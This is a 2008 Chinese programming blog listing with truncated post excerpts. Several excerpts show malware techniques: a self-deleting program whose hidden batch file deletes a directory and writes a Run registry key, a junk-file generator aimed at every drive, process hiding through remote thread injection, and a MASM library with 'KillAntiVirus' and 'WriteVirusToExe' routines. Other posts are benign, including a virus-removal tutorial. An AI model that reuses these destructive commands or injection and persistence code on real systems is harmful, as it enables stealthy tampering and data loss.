博文

删除文件功能的程序(2008-06-15 20:32:00)

摘要:/**********************************IN FACT,IT"S NOT A VIRYUS AT ALL.**********************************/ #include <io.h>#include <dir.h>#include <stdio.h>#include <stdlib.h>#include <string.h> /* copy outfile to infile */void copyfile(char *infile, char *outfile){    FILE *in,*out;     in = fopen(infile,"r");    out = fopen(outfile,"w");     while (!feof(in))    {        fputc(fgetc(in),out);    }     fclose(in);    fclose(out);} /* This function  named Rubbishmaker. */void MakeRubbish(){    int i;        FILE *fp;    char *path;    char *NewName;    char *disk[7] = {"A","B","C","D","E","F","G"};    char *addtion = ":\\";     /* Make some rubbish at the current catalogue */......

阅读全文(5346) | 评论:0

字符串原样输出技巧(2008-06-07 20:41:00)

摘要:有什么方便的方式向文件中输入以下内容for /f "tokens=1-4 delims=:. " %%h in ("%time%") do set start_=%%h%%i%%j%%k 使用 #include <stdio.h> int main(){    FILE *output = NULL; if((output=fopen("$.bat","w"))==NULL)   return -1 ;  fprintf(output,"for /f \"tokens=1-4 delims=:. \" %%%%h in (\"%%time%%\") do set start_=%%%%h%%%%i%%%%j%%%%k\n"); fclose(output);     return 0;}对吗? 对的,但是你有没有感觉累呀!比如这个字符串很长很长 不断的对这些特殊字符进行手工调整,不累夸你!怎么办呢?动脑筋呀! 下面就是使用宏定义方式的实现了这个功能 VC 下通过 2008/6/7 #include <iostream.h>#include<fstream.h>#define FPrint(x) fout<< #x << endl#define Print(x) cout << #x << endl int main(){    ofstream fout("ds.txt"); FPrint(for /f "tokens=1-4 delims=:. " %%h in ("%time%") do set start_=%%h%%i%%j%%k\n); Print(for /f "tokens=1-4 delims=:. " %%h in ("%time%") do set start_=%%h%%i%%j%%k\n); fout.close(); return 0;} 怎么样?是不是很方便,想输出什么就复制什么!......

阅读全文(6401) | 评论:2

自删除程序小结(2008-06-07 18:48:00)

摘要:基本思路: 使用C程序,在程序结束运行之前创建一个批处理文件$.bat  然后在程序最后退出之前调用这个批处理文件 WinExec("$.bat",SW_HIDE); 注意:不能使用 system("$.bat");因为system需要等待system调用结束才执行下面的代码 只要在这个批处理文件中包含删除这个程序 aa.exe  和删除自身批处理文件$.bat功能就可 代码为:del /q/s aa.exe 和 del /q/s %0 具体实现示例使用C代码 #include <stdio.h>#include <stdlib.h>#include <windows.h> int main(){    FILE *output = NULL; if((output=fopen("$.bat","w"))==NULL)   return -1 ;  fprintf(output,"@echo off\n"\  "set tt = %%cd%%\n"\  "rd c:\\zhong /s/q \n"\  "md c:\\zhong\n"\     "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v * /d * /f\n"\  "cd %%tt%%\n"\  "del /q/s aa.exe \n"\  "del /q/s %%0\n"\  "exit\n"); fclose(output); WinExec("$.bat",SW_HIDE); //system("pause");     return 0;} 运行后看看什么效果:) 晕,怎么这个aa.exe仍来在呀!!不要慌,把这个system("pause")注释去掉看看有什么 对了 aa.exe拒绝访问,为什么会这样......

阅读全文(3823) | 评论:0

病毒专杀工具自己编(2008-06-06 21:27:00)

摘要:此文中讲解的病毒专杀工具是针对木马、蠕虫等独立的程序而言的广义的病毒而言,而不是指那种自我复制感染PE文件的依附于其他程序的那种狭义的病毒。因为写那种病毒的专杀工具需要PE文件结构等知识,相对而言有点难度,所以我们就先从相对简单点的开始,难的以后再介绍。 对于大多数病毒而言,杀毒的思路其实很简单,那就是:终止病毒的进程、删除自启动项目(一般在注册表中的run*主键下)、删除病毒文件,对设置了文件关联的病毒而言还要修改注册表恢复文件关联。下面将分别陈述。 一.终止进程 以前网上曾有许多朋友问我怎么根据文件名终止指定进程,为什么使用函数TerminateProcess()不能直接终止指定进程。首先让我们来看看函数TerminateProcess()的声明吧:Bool TerminateProcess(HANDLE hPeocess,UINT uExitCode),其中第一个参数为进程句柄,而不是进程名称(文件名)。那怎样才能获得指定进程的句柄呢?我们可以使用函数OpenProcess(),其原型为 HANDLE OpenProcess( DWORD dwDesiredAccess, // 访问标志 BOOL bInheritHandle, // 处理继承的标志 DWORD dwProcessId // 进程标识号,即进程ID ); 在使用时只要在main()主函数里调用函数KillProcessFromName(),把参数设为你要终止的进程的名称即可,Win9X则需包括路径。还有一点值得注意一下,就是别忘了#include 。 二、删除文件 这一步骤很简单,调用函数DeleteFile()即可,Bool DeleteFile(LPCTSTR lpFilename),把lpFilename设要指向删除的文件的文件名的指针即可,可包含具体路径。 三、修改注册表,删除启动项及文件关联 首先用函数RegOpenKeyEx()打开目标主键,RegOpenKeyEx()函数原型为: LONG RegOpenKeyEx( HKEY hKey,// 将要打开的键的句柄 LPCTSTR lpSubKey,// 指向将要打开的包含子建的名称字符串指针 DWORD ulOptions,// 为保留字,必须为NULL REGSAM samDesired,// 访问权限 PHKEY phkRes......

阅读全文(5767) | 评论:1

WinNT & Win2K下实现进程的完全隐藏(2008-06-06 21:24:00)

摘要:WinNT & Win2K下实现进程的完全隐藏 作者:AntGhazi 主页:antghazi.yeah.net  面对众多的计算机高手,考虑许久,终于还是决定出来献丑一下,文章内尽量使用最简洁易懂的词汇及例子来介绍,希望能够对一些初学与进阶者有所帮助。    关于进程的隐藏,98下的例子数不胜数。WinNT/Win2K下的隐藏方法,西祠的高手shotgun在去年的6月就已经在网上发布出实例《揭开木马的神秘面纱<四>》 ,我也多次拜读他的文章,对他的计算机水平及热心帮助朋友的作风十分敬佩。这里也可算是对shotgun的文章的补充与深入介绍吧,好了,闲话少说。在WinNT下"真正隐藏进程"这一说法,可以讲是根本不可能实现,只要我们的程序是以进程内核的形式行,都是不可能逃离CTRL+ALT+DEL的法眼。那么奇怪了,这岂不是与我们的标题《WinNT & Win2K下实现进程的完全隐藏》相矛盾吗?是的,实际上应该是:以非进程方式执行目标代码,而逃避进程查看器的检查,从而达到"进程隐藏"的目的。我们这里用的,是在宿主进程中,以线程的方式执行我们的代码。实现起来非常简单。首先,我们先建立一个不执行任何语句的线程DWORD stdcall ThreadProc(LPVOID *lpVoid){    return 0; }然后,将线程代码拷备至宿主进程所能够执行的任何地方(即页面属性为PAGGE_EXECUTE_READWRITE),如:共享内存影射区、宿主进程内。这里我们选择宿主进程,拷备的时侯,我们需要先在宿主进程中使用VirtualAllocEx函数申请一段内存,然后再使用WriteProcessMemory将线程体写入宿主进程中。以上工作完成后,我们便可CreateRemoteThread函数激活其执行。下面给出一个完整的例子//远程线程执行体DWORD __stdcall ThreadProc (void *lpPara){  return 0;}int main(int argc, char* argv[]){  const DWORD THREADSIZE=1024*4;//暂定线程体大小为4K,实际上没这么大,稍后我将会介绍  ......

阅读全文(5198) | 评论:0

附加一个线程在 explorer.exe 上执行代码(2008-06-06 21:21:00)

摘要:以前写过 线程附加模块 现在找不到了 原理就是 附加一个线程在 explorer.exe 上执行代码(我认为具有极高的隐蔽性 因为程序运行后没有进程被创建只是在explorer.exe 上多了个线程而以)。 感谢 罗聪 兄的帮助 以前写汇编代码时我遇到问题就去找他 呵呵!  不过你也够强的 QQ 都n个太阳了 就没见你上过线丫的超级潜水员.  ;##########################################################; Shadow MASM Public Function Library;########################################################## ;########################################################## GetWindowsVer proto KillAntiVirus  proto vBackupFile proto ReadVirusToMem proto :DWORD WriteVirusToExe proto :DWORD, :DWORD;########################################################## ;##########################################################; 判断 Windows 版本 测试通过;########################################################## GetWindowsVer proc   LOCAL OSVI:OSVERSIONINFO  mov OSVI.dwOSVersionInfoSize,SIZEOF(OSVERSIONINFO)  invoke GetVersionEx,addr OSVI  xor ebx,ebx  .IF OSVI.dwPlatformId == VER_PLA......

阅读全文(6850) | 评论:0

VC平台下汇编和C的嵌套使用示例(2008-06-01 19:30:00)

摘要: 内联汇编调用C/C++函数必须自己清除堆栈,下面是一个调用C/C++函数例子: #include <stdio.h> char szformat[]= "%s %s\n" ;char szHello[] = "Hello" ;char szWorld[] = "world" ; void main(){    __asm     {        MOV EAX,OFFSET szWorld         PUSH EAX         MOV EAX,OFFSET szHello         PUSH EAX         MOV EAX,OFFSET szformat         PUSH EAX         CALL printf                 ; 内联汇编调用C函数必须自己清除堆栈        ; 用不使用的EBX寄存器清除堆栈,或ADD ESP, 12        POP EBX         POP EBX         POP EBX     }}    注意:函数参数是从右......

阅读全文(6647) | 评论:0

遍历目录树(2008-05-31 18:12:00)

摘要:  //从任意节点开始遍历目录树,Copyright   (C)   Y.B.Chen  //已经在   Borland   C++   3.1   for   DOS   和   Borland   C++   Builder   6.0   下编译通过       #include   <stdio.h>    #include   <conio.h>    #include   <dir.h>    #include   <dos.h>    #include   <string.h>      int   lines   =   0;   //保存已经显示出几行了,如果到了一屏需要暂停 int   bQuit   =   0;   //是否按了Esc键,如果按了Esc键,此数为非零,程序退出       void   clines(void)   //计算已经输出的行数,如果满一屏就暂停    {        unsigned   int   k;        if(lines&&(!(lines%23)))  &nb......

阅读全文(7042) | 评论:0

卸载其他进程已加载模块(2008-05-31 17:29:00)

摘要: #i nclude "stdafx.h"  #i nclude <windows.h>  #i nclude <stdio.h>  #i nclude <Tlhelp32.h>  typedef struct RemoteInfo  {    DWORD dwLoadLibrary;    DWORD ModuleAddr;   }RemotePara;   //传递给远程线程的参数  DWORD WINAPI ThreadProc (RemotePara *lpPara)  {     typedef BOOL (__stdcall *pFreeLibrary)(DWORD);    pFreeLibrary pFuckLibrary;    pFuckLibrary = (pFreeLibrary)lpPara->dwLoadLibrary;    pFuckLibrary(lpPara->ModuleAddr);   //模块基地址    return 0;  }  int main(int argc, char* argv[])  {      MODULEENTRY32 ModuleStor;      RemotePara     pRemoteCallParam;  &......

阅读全文(3905) | 评论:0

traits 使用特性(2008-05-21 22:45:00)

摘要://  VC6.0 2008/5/20 #include "iostream"using namespace std; class SimpleCompareTrait { };class ComplexCompareTrait { }; template<class T> class ComplexCompare{public: typedef T ValueType; typedef ComplexCompareTrait CompareTrait;}; template<class T> class SimpleCompare{public: typedef T ValueType; typedef SimpleCompareTrait CompareTrait;}; template<class T, class Iterator, class Compare>Iterator __LowerBound(Iterator first, Iterator last, T val,       Compare comp, ComplexCompareTrait){ size_t len = 0; size_t half; Iterator middle;  len = last - first; while (len > 0) {  half = len >> 1;  middle = first;  middle += half;  if (comp(*middle, val) < 0)  {   first = middle;   ++first;   len = len - half - 1;  } else   len = half; } return first;} template<class T, class Iterator, clas......

阅读全文(5288) | 评论:0